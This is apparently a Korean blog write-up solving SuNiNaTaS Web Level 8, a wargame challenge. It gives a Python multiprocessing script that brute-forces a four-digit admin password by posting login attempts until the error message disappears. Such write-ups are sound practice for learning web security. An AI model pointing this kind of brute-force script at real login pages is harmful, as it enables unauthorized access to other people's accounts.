WEB Level 8
문제 페이지와 소스코드를 살펴보면, ID가 'Admin'이고, Password가 0부터 9999까지라는걸 확인할 수 있다.
해당 문제는 버프스위트 또는 파이썬 코드를 작성하여 풀 수 있는데, 버프 스위트로 문제를 해결하기 위해선 0부터 9999까지 하나하나 대입해보고 요청에 대한 응답을 하나하나 살펴보면서 "Password Incorrect!"가 아닌 페이지를 찾아야한다. 이는 매우 귀찮기도 하고 시간이 많이 걸리기 때문에 이번 포스팅에선 파이썬의 "multiprocessing"을 사용했다.
먼저 파이썬 requests 모듈을 이용해 문제를 해결하기 위해선 헤더정보를 먼저 확인해야한다.
Login 버튼을 클릭한걸 확인하면 요청방식이 POST방식이고, 소스코드를 확인하면 파라미터 값들을 확인 할 수 있다.
[풀이용 Python 코드]
이 문제를 해결하기 위해 점프 투 파이썬-067 멀티프로세스를 이용하여 병렬로 처리하려면? 글을 참고해서 코드를 작성했다. 처음에 함수 하나하나 영역을 지정해서 진행했지만, 코드가 너무 길어져서 보기 불편하여 줄여봤다.
2000씩 구간을 나눠 리스트에 저장 후, 호출하도록 수정하여 실행시켰다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
import requests
import multiprocessing
import time
session = requests.session()
URL = "http://suninatas.com/challenge/web08/web08.asp"
cookie = {"ASPSESSIONIDQCACRAAD":"LCJJBJEAEMNKCKBBCHBJPKPN"}
def func0(a):
for i in range(a,a+1999):
data = {'id': 'admin', 'pw':i}
req = session.post(URL, cookies=cookie, data=data)
if(req.text.find("Password Incorrect!") == -1):
print("Password is " + str(i))
print(req.text)
break
if __name__ == "__main__":
start = time.time()
process_list = []
a = [0,2000,4000,6000,8000]
#세션 생성
for i in a:
p = multiprocessing.Process(target=func0, args=(i,))
p.start()
process_list.append(p)
for p in process_list:
p.join()
for process in process_list:
process.join()
end = time.time()
print("수행 시간: %f초" % (end - start))
|
cs |
1
2
3
4
5
6
|
req = session.post(URL, cookies=cookie, data=data)
if(req.text.find("Password Incorrect!") == -1):
print("Password is " + str(i))
print(req.text)
break
|
cs |
로그인이 정상적으로 된다면 Password Incorrect!가 나타나지 않을것이므로 == -1 조건을 걸어두고 패스워드를 찾기 쉽게 print구문을 추가했다.
굳이 저 구문을 추가하지 않아도 req.txt를 통해 전체 페이지 소스코드를 보면 Authkey: [키값]을 확인할 수 있다.
버프스위트나 일반적인 방법으로 문제를 풀면 1분이 넘는다고 하지만, 해당 소스코드를 통해 문제를 풀면 대략 15초 정도 걸린다.
이 문제를 Python multiprocessing를 이용해서 푼 게시글을 찾기가 힘들어 직접 작성하게 되었는데, 누군가에게 도움이 되었으면 좋겠다.